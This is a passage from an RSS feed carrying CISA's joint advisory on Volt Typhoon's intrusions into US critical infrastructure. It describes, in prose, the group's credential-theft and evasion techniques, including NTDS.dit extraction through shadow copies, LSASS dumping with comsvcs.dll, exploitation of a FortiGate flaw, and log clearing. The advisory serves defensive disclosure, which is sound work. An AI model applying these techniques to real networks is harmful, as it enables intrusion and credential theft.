  3120. &lt;ul&gt;
  3121. &lt;li&gt;MS-ISAC: &lt;a href="https://www.cisecurity.org/insights/blog/cyber-attack-defense-cis-benchmarks-cdm-mitre-attck" title="Cyber-Attack Defense: CIS Benchmarks + CDM + MITRE ATT&amp;amp;CK"&gt;Center for Internet Security (CIS) Cyber-Attack Defense: CIS Benchmarks + CDM + MITRE ATT&amp;amp;CK&lt;/a&gt;&lt;/li&gt;
  3122. &lt;/ul&gt;
  3123. &lt;h3&gt;&lt;strong&gt;REFERENCES&lt;/strong&gt;&lt;/h3&gt;
  3124. &lt;p&gt;[1] &lt;a href="https://www.cisa.gov/sites/default/files/2023-07/FY22-RVA-Analysis%20-%20Final_508c.pdf" title="CISA Analysis: Fiscal Year 2022 Risk and Vulnerability Assessments"&gt;CISA Analysis: Fiscal Year 2022 Risk and Vulnerability Assessments&lt;/a&gt;&lt;/p&gt;
  3125. &lt;h3&gt;&lt;strong&gt;DISCLAIMER&lt;/strong&gt;&lt;/h3&gt;
  3126. &lt;p&gt;The information in this report is being provided “as is” for informational purposes only. CISA and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or MS-ISAC.&lt;/p&gt;
  3127. &lt;h3&gt;&lt;strong&gt;VERSION HISTORY&lt;/strong&gt;&lt;/h3&gt;
  3128. &lt;p&gt;February 15, 2024: Initial version.&lt;/p&gt;
  3129. </description>
  3130.  <pubDate>Wed, 14 Feb 2024 15:19:25 EST</pubDate>
  3131.    <dc:creator>CISA</dc:creator>
  3132.    <guid isPermaLink="false">/node/20941</guid>
  3133.    </item>
  3134. <item>
  3135.  <title>PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure</title>
  3136.  <link>https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a</link>
  3137.  <description>&lt;h3&gt;&lt;strong&gt;SUMMARY&lt;/strong&gt;&lt;/h3&gt;
  3138. &lt;p&gt;The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China (PRC) state-sponsored cyber actors are seeking to pre-position themselves on IT networks for disruptive or destructive cyberattacks against U.S. critical infrastructure in the event of a major crisis or conflict with the United States.&lt;/p&gt;
  3139. &lt;p&gt;CISA, NSA, FBI and the following partners are releasing this advisory to warn critical infrastructure organizations about this assessment, which is based on observations from the U.S. authoring agencies’ incident response activities at critical infrastructure organizations compromised by the PRC state-sponsored cyber group known as Volt Typhoon (also known as Vanguard Panda, BRONZE SILHOUETTE, Dev-0391, UNC3236, Voltzite, and Insidious Taurus):&lt;/p&gt;
  3140. &lt;ul&gt;
  3141. &lt;li&gt;U.S. Department of Energy (DOE)&lt;/li&gt;
  3142. &lt;li&gt;U.S. Environmental Protection Agency (EPA)&lt;/li&gt;
  3143. &lt;li&gt;U.S. Transportation Security Administration (TSA)&lt;/li&gt;
  3144. &lt;li&gt;Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)&lt;/li&gt;
  3145. &lt;li&gt;Canadian Centre for Cyber Security (CCCS), a part of the Communications Security Establishment (CSE)&lt;/li&gt;
  3146. &lt;li&gt;United Kingdom National Cyber Security Centre (NCSC-UK)&lt;/li&gt;
  3147. &lt;li&gt;New Zealand National Cyber Security Centre (NCSC-NZ)&lt;/li&gt;
  3148. &lt;/ul&gt;
  3149. &lt;p&gt;The U.S. authoring agencies have confirmed that Volt Typhoon has compromised the IT environments of multiple critical infrastructure organizations—primarily in &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/communications-sector" title="Communications Sector"&gt;Communications&lt;/a&gt;, &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector"&gt;Energy&lt;/a&gt;, &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/transportation-systems-sector" title="Transportation Systems Sector"&gt;Transportation Systems&lt;/a&gt;, and &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems"&gt;Water and Wastewater Systems&lt;/a&gt; Sectors—in the continental and non-continental United States and its territories, including Guam. Volt Typhoon’s choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable lateral movement to OT assets to disrupt functions. The U.S. authoring agencies are concerned about the potential for these actors to use their network access for disruptive effects in the event of potential geopolitical tensions and/or military conflicts. CCCS assesses that the direct threat to Canada’s critical infrastructure from PRC state-sponsored actors is likely lower than that to U.S. infrastructure, but should U.S. infrastructure be disrupted, Canada would likely be affected as well, due to cross-border integration. ASD’s ACSC and NCSC-NZ assess Australian and New Zealand critical infrastructure, respectively, could be vulnerable to similar activity from PRC state-sponsored actors.&lt;/p&gt;
  3150. &lt;p&gt;As the authoring agencies have &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a" title="People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection"&gt;previously highlighted&lt;/a&gt;, the use of living off the land (LOTL) techniques is a hallmark of Volt Typhoon actors’ malicious cyber activity when targeting critical infrastructure. The group also relies on valid accounts and leverage strong operational security, which combined, allows for long-term undiscovered persistence. In fact, the U.S. authoring agencies have recently observed indications of Volt Typhoon actors maintaining access and footholds within some victim IT environments for at least five years. Volt Typhoon actors conduct extensive pre-exploitation reconnaissance to learn about the target organization and its environment; tailor their tactics, techniques, and procedures (TTPs) to the victim’s environment; and dedicate ongoing resources to maintaining persistence and understanding the target environment over time, even after initial compromise.&lt;/p&gt;
  3151. &lt;p&gt;The authoring agencies urge critical infrastructure organizations to apply the mitigations in this advisory and to hunt for similar malicious activity using the guidance herein provided, along with the recommendations found in joint guide &lt;a href="https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-techniques" title="Identifying and Mitigating Living Off the Land Techniques"&gt;Identifying and Mitigating Living Off the Land Techniques&lt;/a&gt;. These mitigations are primarily intended for IT and OT administrators in critical infrastructure organizations. Following the mitigations for prevention of or in response to an incident will help disrupt Volt Typhoon’s accesses and reduce the threat to critical infrastructure entities.&lt;/p&gt;
  3152. &lt;p&gt;If activity is identified, the authoring agencies strongly recommend that critical infrastructure organizations apply the incident response recommendations in this advisory and report the incident to the relevant agency (see Contact Information section).&lt;/p&gt;
  3153. &lt;p&gt;For additional information, see joint advisory &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a" title="People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection"&gt;People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection&lt;/a&gt; and U.S. Department of Justice (DOJ) press release &lt;a href="https://www.justice.gov/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" title="U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure"&gt;U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure&lt;/a&gt;. For more information on PRC state-sponsored malicious cyber activity, see CISA’s &lt;a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/china" title="People's Republic of China Cyber Threat"&gt;China Cyber Threat Overview and Advisories&lt;/a&gt; webpage.&lt;/p&gt;
  3154. &lt;p&gt;Download the PDF version of this report:&lt;/p&gt;
  3155.  
  3156.  
  3157.  
  3158.  
  3159.  
  3160. &lt;div class="c-file"&gt;
  3161.    &lt;div class="c-file__download"&gt;
  3162.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf" class="c-file__link" target="_blank"&gt;AA24-038A PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure&lt;/a&gt;
  3163.    &lt;span class="c-file__size"&gt;(PDF,       1.56 MB
  3164.  )&lt;/span&gt;
  3165.  &lt;/div&gt;
  3166. &lt;/div&gt;
  3167. &lt;p&gt;Read the accompanying Malware Analysis Report:&amp;nbsp;&lt;a href="https://www.cisa.gov/news-events/analysis-reports/ar24-038a" title="MAR-10448362-1.v1 Volt Typhoon"&gt;MAR-10448362-1.v1 Volt Typhoon&lt;/a&gt;.&lt;/p&gt;
  3168. &lt;p&gt;For a downloadable copy of indicators of compromise (IOCs), see:&lt;/p&gt;
  3169.  
  3170.  
  3171.  
  3172.  
  3173.  
  3174. &lt;div class="c-file"&gt;
  3175.    &lt;div class="c-file__download"&gt;
  3176.    &lt;a href="https://www.cisa.gov/sites/default/files/2024-02/MAR-10448362.c1.v1.CLEAR_stix2.json" class="c-file__link" target="_blank"&gt;AR24-038A STIX JSON&lt;/a&gt;
  3177.    &lt;span class="c-file__size"&gt;(JSON,       59.40 KB
  3178.  )&lt;/span&gt;
  3179.  &lt;/div&gt;
  3180. &lt;/div&gt;
  3181. &lt;h3&gt;&lt;strong&gt;TECHNICAL DETAILS&lt;/strong&gt;&lt;/h3&gt;
  3182. &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This advisory uses the &lt;a href="https://attack.mitre.org/versions/v14/matrices/enterprise/" title="Enterprise Matrix"&gt;MITRE ATT&amp;amp;CK for Enterprise&lt;/a&gt; framework, version 14. See &lt;a href="#_Appendix_C:_MITRE"&gt;Appendix C: MITRE ATT&amp;amp;CK Tactics and Techniques&lt;/a&gt; section for tables of the Volt Typhoon cyber threat actors’ activity mapped to MITRE ATT&amp;amp;CK&lt;sup&gt;®&lt;/sup&gt; tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;amp;CK framework, see CISA and MITRE ATT&amp;amp;CK’s &lt;a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;amp;CK Mapping"&gt;Best Practices for MITRE ATT&amp;amp;CK Mapping&lt;/a&gt; and CISA’s &lt;a href="https://github.com/cisagov/Decider/" title="cisagov / decider"&gt;Decider Tool&lt;/a&gt;.&lt;/p&gt;
  3183. &lt;h4&gt;&lt;strong&gt;Overview of Activity&lt;/strong&gt;&lt;/h4&gt;
  3184. &lt;p&gt;In May 2023, the authoring agencies—working with industry partners—disclosed information about activity attributed to Volt Typhoon (see joint advisory &lt;a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-144a" title="People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection"&gt;People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection&lt;/a&gt;). Since then, CISA, NSA, and FBI have determined that this activity is part of a broader campaign in which Volt Typhoon actors have successfully infiltrated the networks of critical infrastructure organizations in the continental and non-continental United States and its territories, including Guam.&lt;/p&gt;
  3185. &lt;p&gt;The U.S. authoring agencies have primarily observed compromises linked to Volt Typhoon in &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/communications-sector" title="Communications Sector"&gt;Communications&lt;/a&gt;, &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector"&gt;Energy&lt;/a&gt;, &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/transportation-systems-sector" title="Transportation Systems Sector"&gt;Transportation Systems&lt;/a&gt;, and &lt;a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems"&gt;Water and Wastewater Systems&lt;/a&gt; sector organizations’ IT networks. Some victims are smaller organizations with limited cybersecurity capabilities that provide critical services to larger organizations or key geographic locations.&lt;/p&gt;
  3186. &lt;p&gt;Volt Typhoon actors tailor their TTPs to the victim environment; however, the U.S. authoring agencies have observed the actors typically following the same pattern of behavior across identified intrusions. Their choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable the disruption of OT functions across multiple critical infrastructure sectors (see Figure 1).&lt;/p&gt;
  3187. &lt;ol&gt;
  3188. &lt;li&gt;&lt;strong&gt;Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s network architecture and operational protocols.&lt;/strong&gt; This reconnaissance includes identifying network topologies, security measures, typical user behaviors, and key network and IT staff. The intelligence gathered by Volt Typhoon actors is likely leveraged to enhance their operational security. For example, in some instances, Volt Typhoon actors may have abstained from using compromised credentials outside of normal working hours to avoid triggering security alerts on abnormal account activities.&lt;/li&gt;
  3189. &lt;li&gt;&lt;strong&gt;Volt Typhoon typically gains initial access to the IT network by exploiting known or zero-day vulnerabilities in public-facing network &lt;/strong&gt;appliances (e.g., routers, virtual private networks [VPNs], and firewalls) and then connects to the victim’s network via VPN for follow-on activities.&lt;/li&gt;
  3190. &lt;li&gt;&lt;strong&gt;Volt Typhoon aims to obtain administrator credentials within the network, often by exploiting privilege escalation vulnerabilities in the operating system or network services. &lt;/strong&gt;In some cases, Volt Typhoon has obtained credentials insecurely stored on a public-facing network appliance.&lt;/li&gt;
  3191. &lt;li&gt;&lt;strong&gt;Volt Typhoon uses valid administrator credentials to move laterally to the domain controller (DC) and other devices &lt;/strong&gt;via remote access services such as Remote Desktop Protocol (RDP).&lt;/li&gt;
  3192. &lt;li&gt;&lt;strong&gt;Volt Typhoon conducts discovery in the victim’s network, leveraging LOTL binaries for stealth&lt;/strong&gt;. A key tactic includes using PowerShell to perform targeted queries on Windows event logs, focusing on specific users and periods. These queries facilitate the discreet extraction of security event logs into &lt;code&gt;.dat&lt;/code&gt; files, allowing Volt Typhoon actors to gather critical information while minimizing detection. This strategy, blending in-depth pre-compromise reconnaissance with meticulous post-exploitation intelligence collection, underscores their sophisticated and strategic approach to cyber operations.&lt;/li&gt;
  3193. &lt;li&gt;&lt;strong&gt;Volt Typhoon achieves full domain compromise by extracting the Active Directory database (&lt;/strong&gt;&lt;code&gt;NTDS.dit&lt;/code&gt;&lt;strong&gt;) from the DC.&lt;/strong&gt; Volt Typhoon frequently employs the Volume Shadow Copy Service (VSS) using command-line utilities such as &lt;code&gt;vssadmin&lt;/code&gt; to access &lt;code&gt;NTDS.dit&lt;/code&gt;. The &lt;code&gt;NTDS.dit&lt;/code&gt; file is a centralized repository that contains critical Active Directory data, including user accounts, passwords (in hashed form), and other sensitive data, which can be leveraged for further exploitation. This method entails the creation of a shadow copy—a point-in-time snapshot—of the volume hosting the &lt;code&gt;NTDS.dit&lt;/code&gt; file. By leveraging this snapshot, Volt Typhoon actors effectively bypass the file locking mechanisms inherent in a live Windows environment, which typically prevent direct access to the &lt;code&gt;NTDS.dit&lt;/code&gt; file while the domain controller is operational.&lt;/li&gt;
  3194. &lt;li&gt;&lt;strong&gt;Volt Typhoon likely uses offline password cracking techniques to decipher these hashes.&lt;/strong&gt; This process involves extracting the hashes from the &lt;code&gt;NTDS.dit&lt;/code&gt; file and then applying various password cracking methods, such as brute force attacks, dictionary attacks, or more sophisticated techniques like rainbow tables to uncover the plaintext passwords. The successful decryption of these passwords allows Volt Typhoon actors to obtain elevated access and further infiltrate and manipulate the network.&lt;/li&gt;
  3195. &lt;li&gt;&lt;strong&gt;Volt Typhoon uses elevated credentials for strategic network infiltration and additional discovery, often focusing on gaining capabilities to access OT assets. &lt;/strong&gt;Volt Typhoon actors have been observed testing access to domain-joint OT assets using default OT vendor credentials, and in certain instances, they have possessed the capability to access OT systems whose credentials were compromised via &lt;code&gt;NTDS.dit&lt;/code&gt; theft. This access enables potential disruptions, such as manipulating heating, ventilation, and air conditioning (HVAC) systems in server rooms or disrupting critical energy and water controls, leading to significant infrastructure failures (in some cases, Volt Typhoon actors had the capability to access camera surveillance systems at critical infrastructure facilities). In one confirmed compromise, Volt Typhoon actors moved laterally to a control system and were positioned to move to a second control system.&lt;/li&gt;
  3196. &lt;/ol&gt;
  3197.  
  3198.  
  3199.  
  3200. &lt;figure class="c-figure c-figure--image" role="group"&gt;
  3201.  
  3202.  &lt;div class="c-figure__media"&gt;    &lt;img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2024-02/Figure%201%20-%20Typical%20Volt%20Typhoon%20Activity.png?itok=bELDFw9R" width="1024" height="538" alt="Figure 1: Typical Volt Typhoon Activity"&gt;
  3203.  
  3204.  
  3205.  
  3206. &lt;/div&gt;
  3207.      &lt;figcaption class="c-figure__caption"&gt;&lt;em&gt;Figure 1: Typical Volt Typhoon Activity&lt;/em&gt;&lt;/figcaption&gt;
  3208.  &lt;/figure&gt;
  3209. &lt;p&gt;After successfully gaining access to legitimate accounts, Volt Typhoon actors exhibit minimal activity within the compromised environment (except discovery as noted above), suggesting their objective is to maintain persistence rather than immediate exploitation. This assessment is supported by observed patterns where Volt Typhoon methodically re-targets the same organizations over extended periods, often spanning several years, to continuously validate and potentially enhance their unauthorized accesses. Evidence of their meticulous approach is seen in instances where they repeatedly exfiltrate domain credentials, ensuring access to current and valid accounts. For example, in one compromise, Volt Typhoon likely extracted &lt;code&gt;NTDS.dit&lt;/code&gt; from three domain controllers in a four-year period. In another compromise, Volt Typhoon actors extracted &lt;code&gt;NTDS.dit&lt;/code&gt; two times from a victim in a nine-month period.&lt;/p&gt;
  3210. &lt;p&gt;Industry reporting—identifying that Volt Typhoon actors are silent on the network following credential dumping and perform discovery to learn about the environment, but do not exfiltrate data—is consistent with the U.S. authoring agencies’ observations. This indicates their aim is to achieve and maintain persistence on the network. In one confirmed compromise, an industry partner observed Volt Typhoon actors dumping credentials at regular intervals.&lt;/p&gt;
  3211. &lt;p&gt;In addition to leveraging stolen account credentials, the actors use LOTL techniques and avoid leaving malware artifacts on systems that would cause alerts. Their strong focus on stealth and operational security allows them to maintain long-term, undiscovered persistence. Further, Volt Typhoon’s operational security is enhanced by targeted log deletion to conceal their actions within the compromised environment.&lt;/p&gt;
  3212. &lt;p&gt;See the below sections for Volt Typhoon TTPs observed by the U.S. authoring agencies from multiple confirmed Volt Typhoon compromises.&lt;/p&gt;
  3213. &lt;h4&gt;&lt;strong&gt;Observed TTPs&lt;/strong&gt;&lt;/h4&gt;
  3214. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Reconnaissance&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3215. &lt;p&gt;Volt Typhoon actors conduct extensive pre-compromise reconnaissance [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0043/" title="Reconnaissance"&gt;TA0043&lt;/a&gt;] to learn about the target organization [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1591/" title="Gather Victim Org Information"&gt;T1591&lt;/a&gt;], its network [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1590/" title="Gather Victim Network Information"&gt;T1590&lt;/a&gt;], and its staff [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1589/" title="Gather Victim Identity Information"&gt;T1589&lt;/a&gt;]. This includes web searches [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1593/" title="Search Open Websites/Domains"&gt;T1593&lt;/a&gt;]—including victim-owned sites [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1594/" title="Search Victim-Owned Websites"&gt;T1594&lt;/a&gt;]—for victim host [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1592/" title="Gather Victim Host Information"&gt;T1592&lt;/a&gt;], identity, and network information, especially for information on key network and IT administrators. According to industry reporting, Volt Typhoon actors use FOFA[&lt;a href="https://fofa.info/" title="FOFA Search Engine"&gt;1&lt;/a&gt;], Shodan, and Censys for querying or searching for exposed infrastructure. In some instances, the U.S. authoring agencies have observed Volt Typhoon actors targeting the personal emails of key network and IT staff [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1589/002/" title="Gather Victim Identity Information: Email Addresses"&gt;T1589.002&lt;/a&gt;] post compromise.&lt;/p&gt;
  3216. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Resource Development&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3217. &lt;p&gt;Historically, Volt Typhoon actors use multi-hop proxies for command and control (C2) infrastructure [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1090/003/" title="Proxy: Multi-hop Proxy"&gt;T1090.003&lt;/a&gt;]. The proxy is typically composed of virtual private servers (VPSs) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1583/005/" title="Acquire Infrastructure: Botnet"&gt;T1583.003&lt;/a&gt;] or small office/home office (SOHO) routers. Recently, Volt Typhoon actors used Cisco and NETGEAR end-of-life SOHO routers implanted with KV Botnet malware to support their operations [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1584/005/" title="Compromise Infrastructure: Botnet"&gt;T1584.005&lt;/a&gt;]. (See DOJ press release &lt;a href="https://www.justice.gov/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" title="U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure"&gt;U.S. Government Disrupts Botnet People’s Republic of China Used to Conceal Hacking of Critical Infrastructure&lt;/a&gt; for more information).&lt;/p&gt;
  3218. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Initial Access&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3219. &lt;p&gt;To obtain initial access [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0001/" title="Initial Access"&gt;TA0001&lt;/a&gt;], Volt Typhoon actors commonly exploit vulnerabilities in networking appliances such as those from Fortinet, Ivanti Connect Secure (formerly Pulse Secure), NETGEAR, Citrix, and Cisco [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1190/" title="Exploit Public-Facing Application"&gt;T1190&lt;/a&gt;]. They often use publicly available exploit code for known vulnerabilities [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1588/005/" title="Obtain Capabilities: Exploits"&gt;T1588.005&lt;/a&gt;] but are also adept at discovering and exploiting zero-day vulnerabilities [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1587/004/" title="Develop Capabilities: Exploits"&gt;T1587.004&lt;/a&gt;].&lt;/p&gt;
  3220. &lt;ul&gt;
  3221. &lt;li&gt;In one confirmed compromise, Volt Typhoon actors likely obtained initial access by exploiting &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2022-42475" title="CVE-2022-42475"&gt;CVE-2022-42475&lt;/a&gt; in a network perimeter FortiGate 300D firewall that was not patched. There is evidence of a buffer overflow attack identified within the Secure Sockets Layer (SSL)-VPN crash logs.&lt;/li&gt;
  3222. &lt;/ul&gt;
  3223. &lt;p&gt;Once initial access is achieved, Volt Typhoon actors typically shift to establishing persistent access [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0003/" title="Persistence"&gt;TA0003&lt;/a&gt;]. They often use VPN sessions to securely connect to victim environments [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1133/" title="External Remote Services"&gt;T1133&lt;/a&gt;], enabling discreet follow-on intrusion activities. This tactic not only provides a stable foothold in the network but also allows them to blend in with regular traffic, significantly reducing their chances of detection.&lt;/p&gt;
  3224. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Execution&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3225. &lt;p&gt;Volt Typhoon actors rarely use malware for post-compromise execution. Instead, once Volt Typhoon actors gain access to target environments, they use hands-on-keyboard activity via the command-line [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1059/" title="Command and Scripting Interpreter"&gt;T1059&lt;/a&gt;] and other native tools and processes on systems [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1218/" title="System Binary Proxy Execution"&gt;T1218&lt;/a&gt;] (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks. According to industry reporting, some “commands appear to be exploratory or experimental, as the operators [i.e., malicious actors] adjust and repeat them multiple times.”[&lt;a href="https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/" title="Volt Typhoon targets US critical infrastructure with living-off-the-land techniques"&gt;2&lt;/a&gt;]&lt;/p&gt;
  3226. &lt;p&gt;For more details on LOTL activity, see the Credential Access and Discovery sections and Appendix A: Volt Typhoon LOTL Activity.&lt;/p&gt;
  3227. &lt;p&gt;Similar to LOTL, Volt Typhoon actors also use legitimate but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1105/" title="Ingress Tool Transfer"&gt;T1105&lt;/a&gt;] an outdated version of &lt;code&gt;comsvcs.dll&lt;/code&gt; on the DC in a non-standard folder. &lt;code&gt;comsvcs.dll&lt;/code&gt; is a legitimate Microsoft Dynamic Link Library (DLL) file normally found in the &lt;code&gt;System32&lt;/code&gt; folder. The actors used this DLL with &lt;code&gt;MiniDump&lt;/code&gt; and the process ID of the Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1003/001/" title="OS Credential Dumping: LSASS Memory"&gt;T1003.001&lt;/a&gt;] and obtain credentials (LSASS process memory space contains hashes for the current user’s operating system (OS) credentials).&lt;/p&gt;
  3228. &lt;p&gt;The actors also use legitimate non-native network admin and forensic tools. For example, Volt Typhoon actors have been observed using Magnet RAM Capture (MRC) version 1.20 on domain controllers. MRC is a free imaging tool that captures the physical memory of a computer, and Volt Typhoon actors likely used it to analyze in-memory data for sensitive information (such as credentials) and in-transit data not typically accessible on disk. Volt Typhoon actors have also been observed implanting Fast Reverse Proxy (FRP) for command and control.[&lt;a href="https://github.com/fatedier/frp" title="fatedier / frp"&gt;3&lt;/a&gt;] (See the Command and Control section).&lt;/p&gt;
  3229. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Persistence&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3230. &lt;p&gt;Volt Typhoon primarily relies on valid credentials for persistence [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1078/" title="Valid Accounts"&gt;T1078&lt;/a&gt;].&lt;/p&gt;
  3231. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Defense Evasion&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3232. &lt;p&gt;Volt Typhoon has strong operational security. Their actors primarily use LOTL for defense evasion [&lt;a href="https://attack.mitre.org/versions/v14/tactics/TA0005/" title="Defense Evasion"&gt;TA0005&lt;/a&gt;], which allows them to camouflage their malicious activity with typical system and network behavior, potentially circumventing simplistic endpoint security capabilities. For more information, see joint guide &lt;a href="https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-techniques" title="Identifying and Mitigating Living off the Land Techniques"&gt;Identifying and Mitigating Living off the Land Techniques&lt;/a&gt;.&lt;/p&gt;
  3233. &lt;p&gt;Volt Typhoon actors also obfuscate their malware. In one confirmed compromise, Volt Typhoon obfuscated FRP client files (&lt;code&gt;BrightmetricAgent.exe&lt;/code&gt; and &lt;code&gt;SMSvcService.exe&lt;/code&gt;) and the command-line port scanning utility ScanLine by packing the files with Ultimate Packer for Executables (UPX) [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1027/002/" title="Obfuscated Files or Information: Software Packing"&gt;T1027.002&lt;/a&gt;]. FRP client applications support encryption, compression, and easy token authentication and work across multiple protocols—including transmission control protocol (TCP), user datagram protocol (UDP), hypertext transfer protocol (HTTP), and hypertext transfer protocol secure (HTTPS). The FRP client applications use the Kuai connection protocol (KCP) for error-checked and anonymous data stream delivery over UDP, with packet-level encryption support. See Appendix C and CISA Malware Analysis Report &lt;a href="https://www.cisa.gov/news-events/analysis-reports/ar24-038a" title="MAR-10448362-1.v1 Volt Typhoon"&gt;(MAR)-10448362-1.v1&lt;/a&gt; for more information.&lt;/p&gt;
  3234. &lt;p&gt;In addition to LOTL and obfuscation techniques, Volt Typhoon actors have been observed selectively clearing Windows Event Logs [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1070/001/" title="Indicator Removal: Clear Windows Event Logs"&gt;T1070.001&lt;/a&gt;], system logs, and other technical artifacts to remove evidence [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1070/009/" title="Indicator Removal: Clear Persistence"&gt;T1070.009&lt;/a&gt;] of their intrusion activity and masquerading file names [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1036/005/" title="Masquerading: Match Legitimate Name or Location"&gt;T1036.005&lt;/a&gt;].&lt;/p&gt;
  3235. &lt;h5&gt;&lt;em&gt;&lt;strong&gt;Credential Access&lt;/strong&gt;&lt;/em&gt;&lt;/h5&gt;
  3236. &lt;p&gt;Volt Typhoon actors first obtain credentials from public-facing appliances after gaining initial access by exploiting privilege escalation vulnerabilities [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1068/" title="Exploitation for Privilege Escalation"&gt;T1068&lt;/a&gt;] in the operating system or network services.&lt;strong&gt; &lt;/strong&gt;In some cases, they have obtained credentials insecurely stored on the appliance [&lt;a href="https://attack.mitre.org/versions/v14/techniques/T1552/" title="Unsecured Credentials"&gt;T1552&lt;/a&gt;]. In one instance, where Volt Typhoon likely exploited CVE-2022-42475 in an unpatched Fortinet device, Volt Typhoon actors compromised a domain admin account stored inappropriately on the device.&lt;/p&gt;
